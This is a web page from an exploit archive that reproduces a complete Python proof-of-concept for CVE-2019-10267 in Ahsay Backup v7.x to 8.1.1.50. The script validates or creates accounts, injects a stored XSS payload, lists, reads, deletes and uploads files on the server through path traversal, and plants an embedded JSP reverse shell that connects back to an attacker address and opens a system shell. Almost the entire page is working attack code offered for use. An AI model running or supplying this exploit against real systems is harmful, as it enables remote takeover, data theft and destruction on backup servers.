ahsay backup 7.x 8.1.1.50 authenticated arbitrary file upload remote code execution

▸▸▸ Exploit & Vulnerability >>   webapps exploit & jsp vulnerability




ahsay backup 7.x 8.1.1.50 authenticated arbitrary file upload remote code execution Code Code...
				
# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. (POC) # Date: 26-6-2019 # Exploit Author: Wietse Boonstra # Vendor Homepage: https://ahsay.com # Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe # Version: 7.x < 8.1.1.50 # Tested on: Windows / Linux # CVE : CVE-2019-10267 #!/usr/bin/env python3 """ # Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. # Date: 26-6-2019 # Exploit Author: Wietse Boonstra # Vendor Homepage: https://ahsay.com # Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe # Version: 7.x < 8.1.1.50 # Tested on: Windows / Linux # CVE : CVE-2019-10267 Session cookies are reflected in the JavaScript url: """ import urllib3 import argparse import base64 import re import socket from urllib.parse import urlencode import gzip import json import hashlib urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def b64(s): try: return base64.b64encode(bytes(s, 'utf-8')).decode('utf-8') except: return base64.b64encode(bytes("", 'utf-8')).decode('utf-8') def md5Sum(buf): hasher = hashlib.md5() hasher.update(buf) a = hasher.hexdigest() return a class Exploit(): def __init__(self, url, username="", password="", proxy="" ): self.url = url self.username = username self.password = password self.accountValid = None if proxy: self.http = urllib3.ProxyManager(proxy) else: self.http = urllib3.PoolManager() def fileActions(self, path="../../../../../../", action='list', recurse=False): """ actions: download, list, delete, (upload different function use self.upload) """ try: if not self.checkAccount(self.username,self.password): return False if recurse: recurse = "true" else: recurse = "false" headers={ 'X-RSW-Request-1': '{}'.format(b64(self.password)), 'X-RSW-Request-0': '{}'.format(b64(self.username)) } # http = urllib3.ProxyManager("https://localhost:8080") path = { 'X-RSW-custom-encode-path':'{}'.format(path), 'recursive':'{}'.format(recurse) } path = urlencode(path) if action == "delete": r = self.http.request('DELETE', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers) else: r = self.http.request('GET', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers) if (r.status == 200): if (action == 'list'): result = json.loads(gzip.decompress(r.data)) dash = '-' * 50 print(dash) print('{:<11}{:<16}{:<20}'.format("Type", "Size","Name")) print(dash) for item in result["children"]: print('{:<11}{:<16}{:<20}'.format(item['fsoType'], item['size'],item['name'])) print(dash) else: if action == "delete": print ("File has been deleted") else: return (r.data.decode('utf-8')) else: print ("Something went wrong!") print (r.data) print (r.status) except Exception as e: print (e) pass def exploit(self, ip, port, uploadPath="../../webapps/cbs/help/en/", reverseShellFileName="test.jsp" ): """ This function will setup the jsp reverse shell """ if not self.checkAccount(self.username, self.password): return False reverseShell = '''<%@page import="java.lang.*"%> <%@page import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <% class StreamConnector extends Thread {{ InputStream az; OutputStream jk; StreamConnector( InputStream az, OutputStream jk ) {{ this.az = az; this.jk = jk; }} public void run() {{ BufferedReader vo = null; BufferedWriter ijb = null; try {{ vo = new BufferedReader( new InputStreamReader( this.az ) ); ijb = new BufferedWriter( new OutputStreamWriter( this.jk ) ); char buffer[] = new char[8192]; int length; while( ( length = vo.read( buffer, 0, buffer.length ) ) > 0 ) {{ ijb.write( buffer, 0, length ); ijb.flush(); }} }} catch( Exception e ){{}} try {{ if( vo != null ) vo.close(); if( ijb != null ) ijb.close(); }} catch( Exception e ){{}} }} }} try {{ String ShellPath; if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {{ ShellPath = new String("/bin/sh"); }} else {{ ShellPath = new String("cmd.exe"); }} Socket socket = new Socket( "{0}", {1} ); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); }} catch( Exception e ) {{}} %>'''.format(str(ip), str(port)) try: if (uploadPath == "../../webapps/cbs/help/en/"): callUrl = "{}/{}{}".format(self.url,re.sub("^../../webapps/",'',uploadPath),reverseShellFileName) exploitUrl = "{}{}".format(uploadPath,reverseShellFileName) print (exploitUrl) self.upload(exploitUrl, reverseShell) print ("Checking if file is uploaded.") if (md5Sum(self.fileActions(exploitUrl,'download').encode('utf-8')) == md5Sum(reverseShell.encode('utf-8'))): print ("File content is the same, upload OK!") print ("Triggering {}".format(callUrl)) # http = urllib3.ProxyManager("https://localhost:8080") r = self.http.request('GET', '{}'.format(callUrl)) if r.status == 200: print ("Done, Check your netcat listener!") return True else: return False except Exception as e: print (e) return False def upload(self, filePath, fileContent ): """ Needs a valid username and password. Needs a filepath + filename to upload to. Needs the file content. """ b64UploadPath = b64("{}".format(filePath)) try: if not self.checkAccount(self.username, self.password): return False headers={ 'X-RSW-Request-0': '{}'.format(b64(self.username)), 'X-RSW-Request-1': '{}'.format(b64(self.password)), 'X-RSW-custom-encode-path': '{}'.format(b64UploadPath) } # http = urllib3.ProxyManager("https://localhost:8080") r = self.http.request( 'PUT', '{}/obs/obm7/file/upload'.format(self.url), body=fileContent, headers=headers) if (r.status == 201): print ("File {}".format(r.reason)) else: print ("Something went wrong!") print (r.data) print (r.status) except Exception as e: print ("Something went wrong!") print (e) pass def checkAccount(self, username, password): try: headers={ 'X-RSW-custom-encode-password': '{}'.format(b64(password)), 'X-RSW-custom-encode-username': '{}'.format(b64(username)) } # http = urllib3.ProxyManager("https://localhost:8080") r = self.http.request('POST', '{}/obs/obm7/user/getUserProfile'.format(url),'',headers) if (r.data == b'CLIENT_TYPE_INCORRECT') or (r.status == 200): if self.accountValid is None: print ("Account is valid with username: '{}' and password '{}'".format(username, password)) self.accountValid = True return True elif (r.data == b'USER_NOT_EXIST'): if not self.accountValid is None: print ("Username does not exist!") self.accountValid = False return False elif (r.data == b'PASSWORD_INCORRECT'): if self.accountValid is None: print ("Password not correct but username '{}' is".format(username)) self.accountValid = False return False else: if self.accountValid is None: print ("Something went wrong!") self.accountValid = False return False # print (r.data) # print (r.status) except Exception as e: print (e) self.accountValid = False return False def checkTrialAccount(self): try: # http = urllib3.ProxyManager("https://localhost:8080") r = self.http.request('POST', '{}/obs/obm7/user/isTrialEnabled'.format(self.url),'','') if (r.status == 200 and r.data == b'ENABLED' ): print ("Server ({}) has Trial Account enabled, exploit should work!".format(self.url)) return True else: print ("Server ({}) has Trial Account disabled, please use a valid account!".format(self.url)) return False except Exception as e: print ("Something went wrong with url {} !".format(self.url)) print (e) return False def addTrialAccount(self,alias=""): try: if not self.checkTrialAccount(): return False headers={ 'X-RSW-custom-encode-alias': '{}'.format(b64(alias)), 'X-RSW-custom-encode-password': '{}'.format(b64(self.password)), 'X-RSW-custom-encode-username': '{}'.format(b64(self.username)) } # http = urllib3.ProxyManager("https://localhost:8080") r = self.http.request('POST', '{}/obs/obm7/user/addTrialUser'.format(url),'',headers) if (r.status == 200): print ("Account '{}' created with password '{}'".format(username, password)) elif (r.data == b'LOGIN_NAME_IS_USED'): print ("Username is in use!") elif (r.data == b'PWD_COMPLEXITY_FAILURE'): print ("Password not complex enough") else: print ("Something went wrong!") print (r.data) print (r.status) except Exception as e: print (e) pass if __name__ == "__main__": parser = argparse.ArgumentParser( __file__, description="Exploit for AhsayCBS v6.x < v8.1.1..50", usage=""" Check if Trial account is enabled: %(prog)s --host https://172.16.238.213/ -c Create Trial account: %(prog)s --host https://172.16.238.213/ -a -u test01 -p 'Welcome01!' Create Trial account with stored XSS: %(prog)s --host https://172.16.238.213/ -a -u test01 -p 'Welcome01!' -x --xssvalue "'><script>alert(1)</script>" Delete file: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action delete --path ../../../../../../../../test.txt List files in dir: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action list --path ../../../../../../../../ Upload a file: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action upload --localfile test.txt --path ../../../../../../../../ --filename test.txt Upload reverse shell: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! -e --ip 172.16.238.1 --port 4444 """ ) manda = parser.add_argument_group("Mandatory options") manda.add_argument("--host", help="Url of AhsayCBS server", # required=True ) check = parser.add_argument_group("Check options") check.add_argument("-c", "--check", help="Check if host is vulnerable", action="store_true" ) add = parser.add_argument_group("Add account options") add.add_argument("-a","--add", help="Add trial account", action="store_true" ) add.add_argument("-u","--username", help="username to create" ) add.add_argument("-p","--password", help="Password to create" ) exploit = parser.add_argument_group("Exploit options") exploit.add_argument("-e", "--exploit", help="Run reverse shell exploit", action="store_true" ) exploit.add_argument("--ip", help="Set the attackers IP", default="127.0.0.1" ) exploit.add_argument("--port", help="Set the attackers port", default="4444" ) #Optional xss = parser.add_argument_group("XSS") xss.add_argument("-x","--xss", help="Use XSS in alias field.", action="store_true", default=False ) xss.add_argument("--xssvalue", help="Custom XSS value (must start with '>)", default="'><script>alert(1)</script>", required=False ) # list files fileaction = parser.add_argument_group("File actions", "We can control the files on the server with 4 actions: list content of directory, download file (read), write file (upload) and delete file." ) fileaction.add_argument("--action", help="use: delete, upload, download or list", default="list" ) fileaction.add_argument("--localfile", help="Upload a local file" ) fileaction.add_argument("--filename", help="Filename on the server" ) fileaction.add_argument("--path", help="Directory on server use ../../../", default="/" ) fileaction.add_argument("--recursive", help="Recurse actions list and delete", action="store_true", default=False ) try: args = parser.parse_args() if args.add and (args.username is None or args.password is None): parser.error("The option --add / -a requires: --username and --password") if args.exploit and (args.username is None or args.password is None or args.ip is None or args.port is None): parser.error("The option -e / --exploit requires: --username, --password, --ip and --port") # if not (args.host or args.r7): if not (args.host): parser.error("The option --host requires: -a, -c, -e or -f") else: url = args.host url = url.rstrip('/') username = args.username password = args.password e = Exploit(url,username,password,"http://localhost:8080") if args.check: e.checkTrialAccount() elif args.add: if args.xss and (args.xssvalue is None): parser.error("The option -x / --xss requires: --xssvalue") if args.xssvalue: alias = args.xssvalue e.addTrialAccount(alias) elif args.exploit: print ("Exploiting please start a netcat listener on {}:{}".format(args.ip,args.port)) input("Press Enter to continue...") e.exploit(args.ip, args.port,"../../webapps/cbs/help/en/","SystemSettings_License_Redirector_AHSAY.jsp") elif args.action != "upload": e.fileActions(args.path,args.action,args.recursive) elif args.action == "upload": if args.localfile is not None: f = open(args.localfile, "r") fileContent = f.read() e.upload("{}{}".format(args.path,args.filename),fileContent) else: parser.error("The option --upload must contain path to local file") except Exception as e: print (e) pass

Ahsay backup 7.x 8.1.1.50 authenticated arbitrary file upload remote code execution Vulnerability / Exploit Source : Ahsay backup 7.x 8.1.1.50 authenticated arbitrary file upload remote code execution



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.